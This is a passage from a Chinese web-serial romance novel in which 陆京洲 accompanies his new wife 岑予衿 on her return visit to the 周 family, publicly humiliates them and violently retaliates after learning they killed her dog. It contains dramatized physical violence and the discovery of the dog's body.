陆京洲坐在客厅里不一会就听到了她打开冰箱的声音,然后是轻微的锅具碰撞声,带着点生疏,却不慌乱。 “周芙笙。”他对着厨房方向开口,声音在寂静的夜里显得有些沉。 “嗯?”里面传来她带着回音的应答,伴随着水流声。 “不用麻烦的。”他说。 “很快就好。”她的声音听来很坚持。 陆京洲靠在沙发背上,抬手揉了揉眉心。 酒意未散,混合着疲惫,还有一丝他自己都不愿深究的复杂情绪。 他闭着眼,能清晰地听到她在厨房里细微的动静,像某种轻柔的背景音,奇异地安抚着他紧绷的神经。 他其实没什么醉意,以他的酒量,那几杯远不到需要醒酒汤的程度。 但她那句“对胃不好”和此刻正在为他忙碌的身影,像一根极细的针,不轻不重地刺了他一下。 他习惯于算计、权衡、掌控,包括今天晚上的热牛奶和小蛋糕。 可当她这样不带任何目的,只是单纯地、甚至有些笨拙地表达关心时,他那些刻意的疏离和利用的念头,便显得格外不堪。 过了一会儿,岑予衿端着一个白瓷碗走了出来,小心地放在他面前的茶几上。 汤水清澈,飘着几片苹果,热气氤氲而上。 “可能没有家里厨师做的好,”她有些不好意思地擦了擦手,“但我试过了,味道还行。” 陆京洲看着那碗汤,没有动。 岑予衿在他旁边坐下,轻声催促,“趁热喝一点吧,不然明天该难受了,是蜂蜜苹果水,不难喝的。” 他沉默片刻,终于还是端起了碗。 温热的瓷壁熨帖着掌心,他低头喝了一口。 味道比他预想的好,苹果的清香带着蜂蜜的微甜,暖意从喉咙一路滑下去,确实驱散了些许酒后的滞涩。 “怎么样?”她小声问,眼里带着点期待。 “还行。”他语气依旧平淡,但紧绷的下颌线条似乎柔和了些许。 他又喝了几口,才将碗放下。 “那就好。”岑予衿像是完成了一件大事,轻轻舒了口气。 她重新蜷回沙发里,抱起膝盖,下巴抵在膝头,安静地看着他。 暖黄的光线笼罩着两人,空气里弥漫着淡淡的醒酒汤气味和草莓蛋糕的甜香。 一种近乎温存的静谧在房间里流淌。 陆京洲的目光掠过她恬静的侧脸,滑落到茶几上那个没动过的草莓蛋糕和牛奶上。 “蛋糕不吃?”他问。 岑予衿这才发现小蛋糕已经被他提下来了,“吃,但是……你买的小蛋糕有点大,我可能吃不完。” “能吃多少吃多少,别吃撑了。” 岑予衿点了点头,打开小蛋糕,一口一口吃着。 陆京洲看似不经意的开了口,“明天就是三天回门的日子,需要准备什么东西吗?” 岑予衿吃蛋糕的手一顿。 倒是把这茬忘记了。 说实话,她这回门回的挺尴尬的。 虽然说她现在是周家的女儿,可所有人都知道她是周家的儿媳。 可……这要是不回门,陆家的人一定会发现破绽。 “我……我不知道该准备什么?完全没有经验。” 陆京洲沉默了两秒,还是开了口,“那就别想了交给我吧,我让人去准备。” 岑予衿犹豫了半晌,还是开了口,“你要跟我一块回去吗?” 她这话听到陆京洲的耳朵里就是盛情的邀请,不是单纯的询问。 说实话,她不怎么希望陆京洲跟她一块回去。 要是被他发现什么破绽就不好了。 不过……陆京洲陪她回去的几率也不是很大。 他哪有那么闲啊? “当然,不跟你回去撑腰,万一他们又想把你嫁给那个变态老头怎么办?” 这个可能性不大。 但是林舒薇是一定会作妖的。 这岑予衿能100%保证。 她得回去取点东西,结婚的时候,什么都没带过来。 包括养的那条小博美豆丁。 豆丁是一条流浪狗,是她和周时越领证的时候在民政局门口捡到的。 捡到它的时候脏兮兮的,还断了条腿,他俩把它捡回来包扎,送他去宠物医院检查了一下。 宠物医院的人说要住院,住了一个多星期。 最后是她一个人去接的,周时越已经发生了意外。 不过名字是他取的。 陆京洲的话让岑予衿握着蛋糕叉的手指微微收紧。 “变态老头”这四个字像根细针,轻轻扎了她一下,也让她回过神来。 她垂下眼帘,盯着蛋糕上鲜红的草莓,声音轻得几乎听不见,“不会的,周家害怕陆家。” 客厅里一时安静下来,只剩下她小口吃蛋糕的细微声响。 “其实……”她放下叉子,斟酌着用词,“我有些东西还在周家,想顺便取回来。” “取多少都行,我多带些人过去,他们要是不给咱就抢。” 岑予衿听到这话都被逗笑了。 陆京洲靠在沙发上,一只手撑着脑袋,像是突然想到了什么,也笑着开了口,“周二小姐,我的伞可别忘喽~” 岑予衿的心咯噔了一下,扯出了一抹,看起来没有那么牵强的笑,“我……我明天回去找找。” 完了! 他还记得这茬。 第31章 护短狂魔陆京洲上线 翌日清晨! 岑予衿起床的时候,身边早就没人了。 陆京洲每天早出晚归的,也不知道跑哪儿去了。 什么回门她都不想回去。 要是能支开陆家人,她打算溜去京北监狱探监,好久没去看爸爸了。 没见到陆京洲她的心情也好了不少,连带着食欲大开,多吃了一小碗粥。 可刚吃完早餐,就见某个穿着黑色背心儿的男人从楼上下来了。 看样子估计是刚锻炼完,身上都是汗。 岑予衿的视线不自觉的落在了他那结实的手臂上。 那一拳下去,估计能打死两个她。 “知道今天要回家,起这么早?” 岑予衿好不容易有的那点食欲都被他说没了,却也还是皮笑肉不笑的点了点头,“嗯。” “陆二少吃早餐了吗?” “吃了,知道要跟你回家认亲戚,早吃了。” 岑予衿:“……” 陆京洲坐到了她的对面,有一搭没一搭的和她聊着天儿,“周家那么不在乎你,你还屁颠屁颠的往回跑,亲情真是什么很重要的东西吗?” 这话可把岑予衿问倒了。 亲情当然是很重要的东西。 可她对周家人没有什么亲情可言。 回周家完全就是被逼无奈。 不过回去搅一搅也是好的。 凭什么那些作恶多端的人能过得好好的? 她就偏不让他们如意。 岑予衿假装听不懂他这话里的意思,笑着看向他,“亲情当然很重要,爱情,亲情,友情生活里缺一不可。友情我没办法,可是亲情和爱情我能完完整整的给你,让你体会到它们有多重要。” 陆京洲对这种虚无缥缈的东西嗤之以鼻。 一个人也能过得很好,这些玩意儿他不需要。 “周二小姐,你左一句陆二少,又一句陆二少,冷漠又疏离,等你让我体会到亲情和爱情的滋味估计咱俩孩子都能打酱油了吧?” 结婚这么多天,他俩连最基本的联系方式都没有。 完全不熟,更别提是培养感情了。 岑予衿一想,好像是这么回事儿,那这局应该怎么破呢? 看着她呆呆的样子,陆京洲拿出自己的手机,点开微信二维码,推了过去,“先加联系方式。” 岑予衿赶紧放下手里的小碗,擦了擦嘴,扫码添加。 陆京洲把手机拿回来,一眼就看到了一个可爱的兔子抱着月亮的头像。 【自然醒】申请添加您为好友。 陆京洲挑眉,她的微信头像跟她本人一样可爱。 点击添加。 “然后呢?”岑予衿加上好友之后,虚心的请教。 他主动是最好的,她提出来的他未必肯接受。 “称呼得改一下吧?” 岑予衿看着他,纠结要叫什么。 陆京洲已经起身走到她身边,很自然的把她搂到怀里,“你说呢~老婆?” 岑予衿被这称呼惊得不知道该说什么。 “还是说,你想让我怎么称呼你?笙笙?芙芙?” 岑予衿被他搂在怀里,耳边是他带着汗意与热气的呼吸。 她有点嫌弃,但是推开又太明显了。 倒不是臭,就是……他身上汗涔涔的光是想着就觉得浑身难受。 她刚洗的澡。 那声低哑的“老婆”和后面更过分的“笙笙”、“芙芙”像羽毛一样轻刮着她的耳膜,浑身鸡皮疙瘩都要起来了。 她的脸颊不受控制地烫了起来,这男人太知道怎么用最低的成本让人意乱情迷了。 “我……”她张了张嘴,那个称呼在舌尖滚了几圈,却怎么都叫不出口。 太亲密了。 陆京洲垂眸看着她染上红晕的耳尖,心底那点恶劣的逗弄欲更盛。 他俯身,薄唇几乎要贴上她的耳廓,用气音低语,带着不容置疑的诱哄,“怎么,叫不出口?那……先叫声‘老公’来听听?” “老公”这两个字被他念得格外缱绻,又带着点戏谑的味道。 她抬起眼,对上他玩味的目光,忽然弯起眼睛,露出了一个比刚才更加甜美,甚至带点狡黠的笑容。 她伸出手,轻轻拽住了他黑色背心的下摆,微微用力,两人之间的距离更近,近到能清晰看到他瞳孔中自己小小的倒影。 她仰起头,用同样轻柔,却带着一丝微妙挑衅的语气,软软地开口,“老公~” 声音又轻又糯,尾音微微上扬,像个小钩子。 叫完,她甚至还眨了眨眼,一脸无辜地看着他瞬间变得有些深邃的眼神,“这样……可以了吗?老公~” 陆京洲搂着她腰的手臂骤然收紧。 他预想过她可能会害羞地拒绝,可能会生硬地转移话题,甚至可能会恼羞成怒。 唯独没料到,她会如此迅速地调整好状态。 不仅接住了他的招,还用这种“反撩”的方式将了他一军。 那声“老公”听起来又软又乖,陆京洲脑子里不自觉的浮现出那天晚上她的声音。 陆京洲松开了她,转身往楼上走。 岑予衿也吃不下东西了,浑身难受,她要去洗澡!!! “老公~洗完澡之后别穿衣服哦~” 陆京洲的脚步就这么硬生生的停了下来,转身看着她,“老婆~你想干嘛?肚子里还怀着宝宝,就那么急不可耐?” 滚吧! “才不是呢!后背的伤要上药。” 陆京洲自己都快忘记了,没想到她还记得。 他俩收拾好已经不早了。 陆京洲让人把已经准备好的东西全放到后备箱。 替她打开后座的车门,她坐进去之后自己才坐进去。 “阿洲,你喜欢小狗吗?” 岑予衿主动挑起了话题,老公这两个字特定的环境是可以叫出来的。 比如撩他,逗他。 但现在司机还在前头,叫不出来,根本叫不出来。 “不讨厌,怎么了?” 岑予衿想到了昨天挡在她面前的那两只小狗。 “我可不可以在家里养条小狗?”岑予衿试探的询问。 她要把豆丁接回家。 要是陆京洲不同意,她还得重新想办法。 “可以,你想养几条都行。”陆京洲要追求她,勾引她,让她疯狂的爱上自己,自然要无条件满足她的要求。 “谢谢~”岑予衿眼睛亮亮的,看向他的眼神满是崇拜。 “前天我在家被那两只藏獒追,是栩然弟弟的那两只小狗帮我挡的,也不知道现在怎么样了?”说到这个,她的心情有些低落。 陆京洲抬手摸了摸她的头,“已经送去医院了,过几天就能出院。” “你送的吗?” “算是,但不是我亲自送的。” 岑予衿立刻拍马屁,“你那么忙,能想到它们,我就很知足了。” 周家和陆家距离说近不近,说远不远。 两人回到家的时候是午饭时间。 管家见到岑予衿回来,眼里满是意外。 完全忘记了,她现在是周家二小姐这茬。 自然也不记得有回门这么一件事儿。 一时不知道该怎么称呼。 “陆二少!”只是恭敬的冲陆京洲打了个招呼。 陆京洲的视线淡淡扫过管家那张写满无措和疏忽的脸,没有立刻回应他的问候,反而先侧头看向身边的岑予衿,手臂自然地环上她的腰,将她往自己身边带了带。 这才掀眼看向管家,带着不容置疑的压迫感,“怎么?周家的规矩,见了大小姐和姑爷,连个像样的称呼都不会了?” 管家被他看得脊背一凉,冷汗瞬间就下来了。 他这才猛地意识到自己犯了多大的错。 眼前这位不仅仅是陆家的二少爷,更是他们周家名义上的姑爷,而岑予衿……以前的大少奶奶,现在是名正言顺的周家二小姐。 三朝回门,他竟然给忘了这茬,还习惯性地用看外人的眼光看待她。 “二……二小姐,二姑爷!”管家慌忙改口,腰弯得更低了,声音带着不易察觉的颤抖,“是我老糊涂了,一时没反应过来,请二小姐、二姑爷恕罪。” 岑予衿看着刚才还对她视若无睹的管家此刻噤若寒蝉,只觉得讽刺。 陆京洲却没打算轻易放过,三天回门,这么重要的日子他都能忘,平时该怎么欺负她? 看来他们家的小兔子这几年被欺负的挺惨呐。 他轻笑一声,那笑声里淬着冰,“一时没反应过来?我看是根本没把我老婆放在眼里吧。那就掌嘴,好好记着。” 陆京洲的话刚落,后头五大三粗的保镖,就上前架住了那管家,一脚踢在了他的腿窝处。 管家跪在地上。 还没等他反应过来,那巴掌就啪啪啪的落在了他的嘴巴上。 他搂着岑予衿腰的手紧了紧,低声在他耳边道,“老婆,有时候动手可比讲道理方便多了,记住了,咱今天来这儿的目的。” 不就是三天回门吗? 来这的目的还能有啥? 岑予衿被他这话说的一头雾水。 陆京洲亲昵的捏了捏她的脸,“这只是第一个,陆太太这个身份就是你嚣张的资本,哪怕是对着你爸妈。” 他口中的你爸妈指的是周时越的爸妈。 岑予衿想到了他们这两年的所作所为,嘴角微微勾了勾。 尽心尽力的伺候了他们两年,得到的是一场极尽奢华的葬礼和冰冷的墓碑。 不用陆京洲说,陆家二少奶奶这个身份她也会好好利用。 谁都别想好过! 谁都别想。 岑予衿主动的抬手抱住了他的手臂,亲昵的蹭了蹭,“那他们要是欺负我,老公你可得帮我哟~” 陆京洲抬手指了,指身后的保镖,“放心作,搅得天翻地覆也不成问题。” 反正陆京洲本来就不喜欢周家人,来之前就做足了准备。 现在小白兔准备咬人,他当然是全力支持,充当一个好丈夫的角色。 第32章 你今天敢动我陆京洲的人试试 周父周母以及周时越正坐在餐桌旁准备用餐,看到他们进来,尤其是看到岑予衿那副依偎在陆京洲身边,容光焕发的模样,脸色都有些不自然。 他们俩这有点不对劲。 何翠玲率先反应过来,勉强挤出一丝笑容,“陆二少,笙笙,你们怎么回来了也不提前说一声。” 她习惯性地想摆婆婆的架子,但目光触及陆京洲冰冷的眼神和身后那群煞气腾腾的保镖,气势瞬间矮了半截。 现在她已经不是她儿媳妇儿了,是她女儿。 岑予衿弯唇一笑,语气甜得发腻,眼神却冰凉,“您这是老糊涂了?今天是我和阿洲回门的日子呀。还是说,周家根本不欢迎我回来?” 她特意加重了“回门”和“欢迎”两个字。 说实话,谁都没有记起这茬。 在他们眼里岑予衿就是泼出去的水。 不仅泼出去了,还拿了10%的股份和西郊的地皮。 想想都觉得很亏。 “当然记得,快坐下一起吃饭吧。”何翠玲就客气一下。 陆京洲和岑予衿都没有客气,直接坐在了主位。 陆京洲看着旁边脸色不好的几个人,立马开了口,“这么看着我们干什么,坐啊!” 岑予衿刚坐下,目光扫过满桌菜肴,纤细的手指轻轻叩了叩白瓷餐盘边缘,脸上那点笑意瞬间淡了。 桌上全是林舒薇爱吃的菜。 这个世界还是太现实了。 就因为林家是豪门千金,一家人捧着林舒薇的臭脚。 她没看何翠玲,反而侧头看向陆京洲,语气带着点委屈的软意,“老公……” 话没说完,陆京洲已经伸手把她面前的盘子往旁边挪了挪,抬眼看向候在一旁的佣人时,眼神冷得像冰,“这道清蒸鱼的刺没剃干净,我老婆怀孕怕麻烦,重做。还有这盘红烧肉,油星子都浮在表面了,她闻不得腻味,换道清淡的。” 佣人刚要应声,何翠玲急忙插话,“京洲啊,这鱼是特意按以前笙笙的口味做的,她以前不挑……” “以前是以前。”陆京洲没等她说完,指腹轻轻摩挲着岑予衿的手背,语气带着不容置疑的护短,“现在她是我陆京洲的妻子,陆家的二少奶奶,吃的用的都得按最高的标准来。笙笙现在怀了孕,嘴叼得很,补充营养最重要。” 这话像巴掌一样打在何翠玲脸上,周父和周时越的脸色更沉了。 岑予衿顺势靠在陆京洲肩上,声音软糯却清晰,“这会不会太麻烦了呀?” “岳父,岳母麻烦吗?” 陆京洲这么问他们敢回答吗? 自然是不敢。 “我马上吩咐小厨房做。” 林舒薇看着自己爱吃的菜全部被撤了下去,下意识的看了一眼旁边的周时越。 周时越从他俩进门就没有说过一句话,只是那视线总会不自觉的落在岑予衿身上。 “周小姐……这些菜都是刚上的,重新做会不会太浪费了?” 岑予衿还没说什么呢陆京洲手里的茶杯就已经重重的摔在了桌子上,“你算哪根葱?我老婆的事儿你也敢管?你要是觉得浪费,一个人去厨房里吃,别来碍我老婆的眼。” 林舒薇被陆京洲这毫不留情的话砸得脸色煞白,下意识地往后缩了缩,求助般地看向周时越。 周时越眉头紧锁,终于忍不住开口,声音低沉压抑,“陆二少,这里是周家,舒薇也是客人,也是我们周家的恩人,你说话是不是太过分了?” 陆京洲像是听到了什么笑话,嗤笑一声,手臂慵懒地搭在岑予衿身后的椅背上,形成一个保护占有的姿态。 他掀起眼皮,目光轻蔑地扫过周时越,“过分?周大少,你以什么身份来质问我?” 他刻意顿了顿,欣赏着周时越瞬间难看的脸色,继续慢条斯理地毒舌输出,“我维护我明媒正娶、怀着我孩子的太太,这叫天经地义。倒是你,周大少,管好你自己和你身边那位‘客人’吧。 一个外人,在我夫人回门的日子,对着我陆家的事指手画脚,谁给她的脸?还是说,你们周家现在已经轮到外人做主了?” 这话不仅骂了林舒薇不知分寸,更是直接把周时越和周家的脸面按在地上摩擦。 “对了,如果我没记错的话,周大少的糟糠之妻岑予衿女士头七都还没过吧?这么着急迎新人进门,就不怕岑女士棺材板压不住?” 周时越被他噎得胸口剧烈起伏,拳头攥得咯咯作响,下意识看向他旁边的岑予衿。 岑予衿内心毫无波澜。 陆京洲压根没看周时越铁青的脸,手指漫不经心地帮岑予衿拂去肩上的碎发,“还有岳父岳母,” 他抬眼扫过周父周母,“我老婆回门,你们就用一桌子外人爱吃的菜招待?是觉得陆家好欺负,还是觉得我陆京洲的妻子不配吃顿合心意的饭?” 周父刚要发作,就见陆京洲身后的保镖往前踏了一步,黑色皮鞋踩在地板上发出沉闷的声响,瞬间压得满室寂静。 陆京洲嗤笑一声,伸手将岑予衿揽得更紧,“怎么?岳父想动手?我倒是要看看,你今天敢动我陆京洲的人试试。” 何翠玲急忙拉了拉周父的衣角,赔着笑打圆场,“陆二少,是我们考虑不周,这就让厨房重新做,全按笙笙的口味来……” “现在才想起来考虑?”陆京洲打断她,目光落在缩在周时越身边的林舒薇身上,眼神冷得能冻死人,“刚才这位‘恩人’不是觉得浪费吗?正好。” 他冲保镖抬了抬下巴,“把桌上这些菜全端下去,给这位‘恩人’送到厨房,让她慢慢吃,别在这儿碍我老婆的眼。” 保镖立刻上前,不等林舒薇反应,就将满桌菜肴连盘端起。 林舒薇脸色惨白,眼泪在眼眶里打转,抓着周时越的衣袖哽咽,“时越……” 周时越再也忍不住,猛地站起身就要冲过来,却被陆京洲的保镖一把按住肩膀。 陆京洲慢悠悠地站起身,走到周时越面前,居高临下地看着他,语气轻蔑,“周大少,想动手?我劝你最好想清楚,动我的下场。” 他抬手拍了拍周时越的脸颊,力道不大却带着十足的羞辱。 那眼神明显就是在说垃圾,你也配跟我动手。 陆京洲挑眉,转身走回岑予衿身边,“我只是护着我老婆而已。她以前在周家受的委屈,我得一点一点帮她讨回来。” 他抬头看向周家人,眼神又冷了下来,“还有,别再叫她‘笙笙’,那是你们配叫的吗?她现在是陆太太,你们该叫她‘二少奶奶’。” 林舒薇看着眼前的一切,终于崩溃,“陆京洲,你太过分了。” 陆京洲皱眉,冲保镖冷声吩咐,“把她拖出去,别让她的哭声吵到我老婆。” 保镖立刻上前,架起林舒薇就往外走。 周时越挣扎着想要阻拦,却被另一个保镖死死按住。 陆京洲走到他面前,语气冰冷,“周大少,好好看着,这就是得罪我陆京洲和我老婆的下场。” 很快,菜就换了一批。 都是岑予衿爱吃的。 谁都没想到陆家人会对岑予衿那么好,当祖宗供着。 岑予衿吃的饱饱的,坐在沙发上扫视了一圈,没在房间里看到豆丁的身影。 “我之前养的那只博美,豆丁呢?” 何翠玲眼神猛地闪躲了一下,手不自觉地攥紧了衣角,嘴里支支吾吾,“豆、豆丁啊……前几天家里来了客人,怕它吵闹,就让佣人先送到乡下亲戚家了。等过阵子……” “送到乡下了?”岑予衿没等她说完,立刻站起身,“谁给你的权利?地址告诉我,我去把它接回来。” 周父在一旁沉着脸打断,“接什么接?一只狗而已,乡下亲戚会照顾好的。你现在怀着孕,心思该放在孩子身上,别总惦记这些没用的。” 岑予衿皱起眉,刚想再说些什么,陆京洲走过来握住她的手,语气温和,“别着急,等会儿我让助理去查,肯定能把豆丁接回来,你先去房间里拿伞。” 伞? 她哪有什么伞啊? 不过现在只能硬着头皮上了。 岑予衿刚走到楼梯转角,就见林舒薇靠在走廊的柱子上,脸上带着幸灾乐祸的笑,手里还把玩着一根染着浅褐色污渍的狗绳。 那是豆丁最喜欢的,上面还缀着小铃铛。 “岑予衿,你还在找那只小破狗啊?”林舒薇故意提高声音,看着岑予衿顿住的脚步,笑得更得意了,“别找了,它回不来了。” 岑予衿的心脏猛地一沉,指尖冰凉,“你什么意思?” “没什么意思啊。”林舒薇晃了晃手里的狗绳,语气轻佻又残忍,“前几天,那只疯狗居然敢对着我叫,时越为了保护我,就让人把它……处理了。你看这狗绳,就是从它身上解下来的,上面的血渍都还没洗干净呢。” “处理了?”岑予衿的声音瞬间发颤,“你说……处理了是什么意思?” 林舒薇往前走了两步,凑近她耳边,用只有两人能听到的声音低语,“就是被活活打死了呀。听说那狗叫得可惨了,不过谁让它敢冲着我叫呢?时越说了,敢伤我的东西,都活不长。” 这句话像一把冰锥,狠狠扎进岑予衿的心脏。 她浑身的血液瞬间凝固,指甲深深掐进掌心,疼得让她勉强保持清醒。 她猛地抬头看向林舒薇,眼底的温度彻底消失,只剩下彻骨的寒意。 林舒薇被她的眼神看得心头一跳,下意识后退一步。 岑予衿忽然抬手,狠狠一巴掌甩在她脸上。 清脆的巴掌声在走廊里回荡,林舒薇被打得偏过头,嘴角瞬间溢出血丝。 第33章 你的小三是人,我老婆就不是? 林舒薇捂着脸,难以置信地瞪大眼睛,“你敢打我?!” 话音未落,岑予衿理智全无,猛地扑了上去,一把抓住林舒薇精心打理过的长发,狠狠向下一扯。 “啊——!”林舒薇痛得尖叫,头皮传来撕裂般的疼痛,让她失去了思考的能力,只能胡乱地挥舞着手臂试图反抗。 岑予衿给她的印象一直都是文文静静,对周时越死缠烂打的。 从来没有像此时此刻这么疯狂过。 “你敢打死我的狗?林舒薇,你给它偿命!”岑予衿眼眶赤红,抓着林舒薇的头发,用力将她掼向旁边的墙壁,另一只手毫不留情地朝她那张楚楚可怜的脸抓去。 两个女人瞬间扭打在一起,尖叫声、咒骂声和碰撞声惊动了楼下。 周时越第一个冲了上来,看到林舒薇被岑予衿压制着,头发凌乱,脸颊红肿,脸上还有几道血痕。 脸色骤变,想也没想就冲上前,一把抓住岑予衿的手臂,用力将她从林舒薇身上扯开,惯性之下,反手就狠狠扇了岑予衿一巴掌! “啪!” 清脆的巴掌声比刚才更响。 巴掌落下的瞬间,周时越也懵了,难以置信的看着自己火辣辣的手。 莫名不敢看她的脸,想要逃避。 岑予衿被打得踉跄几步,撞在走廊的栏杆上,半边脸颊瞬间红肿起来,火辣辣地疼。 她捂着脸,抬起头看向周时越,眼底是破碎的震惊和滔天的恨意。 “周时越!”她嘶吼出声,血液里的暴戾和委屈疯狂翻涌,再次冲上前,目标直指周时越那张令人作呕的脸。 就在她的指尖即将触碰到周时越的瞬间,一个身影更快地介入。 陆京洲大步上前,一把将疯狂的岑予衿紧紧捞进怀里,用身体挡住了她和周时越之间。 “笙笙!”他低沉的声音带着不容置喙的力量,双臂如同铁钳般将她禁锢在怀中,不让她再前进分毫。 岑予衿在他怀里拼命挣扎,眼泪混合着愤怒汹涌而出,她指着周时越和林舒薇,声音嘶哑颤抖,“他们杀了豆丁!他们打死了豆丁!放开我!我要杀了他们!我要让他们偿命。” 陆京洲听着她崩溃的哭喊,感受着她身体的剧烈颤抖,眼神瞬间阴鸷得能滴出水来。 他抬起冰冷的眼眸,先是扫过捂着脸哭泣的林舒薇,最后定格在脸色难看的周时越身上。 他没有立刻对周家夫妇发难,而是猛地抬脚,狠狠踹在周时越的腹部! 这一脚又快又狠又准,带着雷霆般的怒火。 周时越根本来不及反应,痛哼一声,直接被踹得倒退好几步,撞在墙上,捂着肚子弯下腰,脸色瞬间惨白。 “谁给你的胆子,”陆京洲的声音冷得像冰渣,每一个字都带着嗜血的寒意,“动我陆京洲的人?” 他紧紧抱着怀里仍在发抖的岑予衿,指腹轻柔地擦去她嘴角的血迹,看着那红肿的脸颊,心疼和怒火交织,让他周身的气压低得可怕。 他转向惊呆的周父周母,眼神如同看着死人。 “周家真是好家教!纵容儿子为了个外人,打死我老婆的狗,还敢动手打她?”陆京洲嗤笑一声,那笑声里满是肃杀,“看来你们是觉得,我陆家是泥捏的?” 陆京洲这话一出,周父周母的脸色瞬间惨白如纸。 周父强撑着上前一步,试图辩解,“陆二少,这都是误会,时越他只是一时情急……” “误会?”陆京洲打断他,嘴角勾起一抹混不吝的冷笑,眼神却锐利如刀,直直射向蜷缩在墙角的周时越,“你儿子情急之下就能打我老婆?那我现在也很情急!” 他话音未落,猛地转头对身后的保镖厉声吩咐,“给我砸!!!” 命令一下,那群煞气腾腾的保镖立刻动了起来,如同虎入羊群。 顷刻间,走廊上价值不菲的古董花瓶被狠狠掼在地上,发出刺耳的碎裂声。 墙上的名画被扯下,撕碎。 精致的摆件被扫落,噼里啪啦的破坏声响彻整个周家别墅。 “陆京洲!你疯了!”周父目眦欲裂,想要阻止,却被两个保镖面无表情地拦住,动弹不得。 “疯了?”陆京洲嗤笑,搂紧怀里因愤怒和悲伤而颤抖的岑予衿,姿态嚣张至极,“哼!动我的人,就要付出代价!” 那声冷哼里的威胁,让周家所有人不寒而栗。 他低头,看着岑予衿红肿的脸颊,眼底的心疼和戾气交织。 他抬起手,用指腹极其轻柔地碰了碰,声音却带着一股狠劲,“疼不疼?老公给你出气。” 看着她迅速红肿起来的脸颊。 陆京洲的心也莫名刺痛了一下。 “老婆!等着!” 说完一步步走到周时越面前,抬手就在他脸上打了两拳。 陆京洲是个练家子,周时越完全不是他的对手。 更何况刚才他被踹的那一脚也用了十足时的力。 陆京洲打完他,视线落在旁边,抱着他哭的上气不接下气的林舒薇身上。 二话没说,拉着她的头发把人扯了下来。 周时越见他对林舒薇动手一下子就急了,“你一个大男人,对一个女人动手算什么本事?有本事你冲我来。” 陆京洲声音带着莫名的寒意,“你的小三是人,我明媒正娶的老婆就不是?” 陆京洲扯着她头发的手并没有松开,反而愈发用力,“我陆京洲不是什么好东西,人生字典里面没有不能打女人这一条。 我只知道,我老婆受欺负了,我就得还回来,我管她是女人还是死人,谁都不能欺负我的人。” 说完掐起她的脖子,把人提了起来。 反手就是两巴掌。 那两巴掌用的力气比周时越重多了。 嘴里当场就出了血。 掐着她的那只手也并没有松开,反而愈发用力。 直到她的脸色由红转青,才慢慢的松开了她。 任由她像一滩烂泥摊在地上。 陆京洲一脚踩在周时越的胸口,脚尖愈发用力的捻动,“小狗被你们丢哪了?” 周时越也是男人,看着自己的女人被这么欺负,这会看向他的眼神,恨不得把他撕了。 并没有要告诉他的意思,把头偏向另一边。 陆京洲冷哼,“聋了是吗?聋子和瞎子正好能凑一对。” “来人!把地上那女人的眼睛戳瞎,顺便让周时越也体验一下当个真聋子是什么感觉?” 第34章 想怎么处置他们? 陆京洲这话一出,连他怀里的岑予衿都止住了哭声,惊愕地抬头看他。 周父周母更是吓得魂飞魄散,何翠玲腿一软,直接瘫坐在地上,尖叫着,“不要!陆二少!求求你!我们说!我们说!” 周时越目眦欲裂,挣扎着想要起身,却被陆京洲的脚死死钉在地上,胸口闷痛,几乎喘不过气。 陆京洲却像是没听见周母的求饶,慢条斯理地掏出一块方巾,仔细擦拭着刚才碰过林舒薇的手指,眼神慵懒却带着致命的危险。 他微微偏头,对着蠢蠢欲动的保镖挑眉,“还等什么?需要我教你们怎么做?” 保镖头子眼神一凛,立刻带着两人上前。 一人粗暴地抓起瘫软如泥的林舒薇,另一人手中寒光一闪,竟真的拿出一把锋利的匕首,冰冷的刀尖直指林舒薇那双写满惊恐的眼睛。 “不!不要!我说!豆丁……豆丁被扔在后花园的玫瑰花坛里!”周时越崩溃地嘶吼出来,声音带着绝望的颤抖。 他不能眼睁睁看着林舒薇被刺瞎! “玫瑰花坛?”陆京洲咀嚼着这四个字,眼神骤然变得猩红,脚下的力道又重了三分,碾得周时越痛苦呻吟。 他猛地抬手,制止了保镖的动作。 林舒薇像破布一样被丢回地上,劫后余生地大口喘息。 陆京洲嫌恶地瞥了一眼,收回脚,仿佛踩到了什么脏东西。 走回岑予衿身边,将她重新揽入怀中,感受到她身体的冰冷,心中的暴戾几乎要冲破理智。 他低头,用只有两人能听到的声音,带着一种近乎残忍的温柔问,“笙笙,你想怎么处置他们?是让他们也去花坛陪豆丁,还是……留着慢慢玩?” 他的声音不大,却清晰地传遍死寂的走廊,每一个字都像淬了毒的冰锥,扎进周家每个人的心脏。 岑予衿抬起泪眼,看向面无人色的周时越和抖如筛糠的林舒薇,她心中的恨意肆意生长。 她紧紧抓住陆京洲的衣襟,声音因哭泣和恨意而沙哑,“我要找我的豆丁。” 陆京洲闻言,唇角勾起一抹极致宠溺又无比冷酷的弧度。 他轻轻抬手擦去她眼角的泪,语气轻描淡写,却掷地有声,“好,都听你的。” 他揽着岑予衿,转身,不再看身后那一片狼藉和瘫倒的几人,只留下一句冰冷刺骨的话,“这只是个开始,接下来的日子,慢慢享受吧。” 他拥着岑予衿转身,一地的碎片被踩的咯吱作响。 月光下,深红色的玫瑰如同凝固的血,浓艳欲滴,散发着甜腻的香气,与残酷的夜晚格格不入。 陆京洲脚步未停,对着身后的保镖冷声下令,“把这些花,全给我砍了,一棵不留。” 保镖们立刻行动,找来工具,毫不留情地对着那片娇艳的玫瑰下手。 锋利的花枝被斩断,花瓣零落,混入泥土,浓郁的花香里掺杂着一丝若有若无的腐坏气息。 岑予衿死死盯着那片被摧残的花坛,身体抖得厉害,指甲深深掐进陆京洲的手臂。 当最后一丛茂盛的玫瑰被连根拔起,露出底下新翻动过的泥土时,一股更明显的腐臭味弥漫开来。 泥土中,隐约可见一小团被草草掩埋的浅褐色毛发。 岑予衿的呼吸骤然停止,眼泪无声地汹涌而出。 她想冲想冲过去,把小狗挖出来。 陆京洲感觉到她的崩溃,将她轻轻推向旁边一个保镖,“扶好二少奶奶,别让她过来。” 他独自走上前,在那一小片被翻开的泥土前蹲下。 腐臭的味道扑面而来,即使是他,胃里也忍不住一阵翻江倒海。 要是她过来,肯定又得孕反。 陆京洲面色没有丝毫改变,甚至连眉头都没皱一下。 毫不犹豫地脱下身上那件价值不菲的手工定制西装外套,动作轻柔地铺在旁边的空地上。 然后,他伸出双手,没有任何迟疑,直接徒手扒开那潮湿冰冷的泥土。 他的动作很慢,很小心,仿佛怕惊扰了底下沉睡的小生命。 不一会儿,一具小小的、已经僵硬腐烂的小博美尸体完全暴露出来。 曾经雪白的毛发沾满泥泞,缠绕在一起,看不清原本的模样,只有项圈上那个熟悉的小铃铛,沾着污渍,在月光下反射出一点微弱的光。 味道更加浓烈刺鼻。 陆京洲喉结滚动了一下,强行压下喉咙口的不适。 他极尽轻柔地用铺在地上的西装外套,将那只小小的尸体小心翼翼地包裹起来。 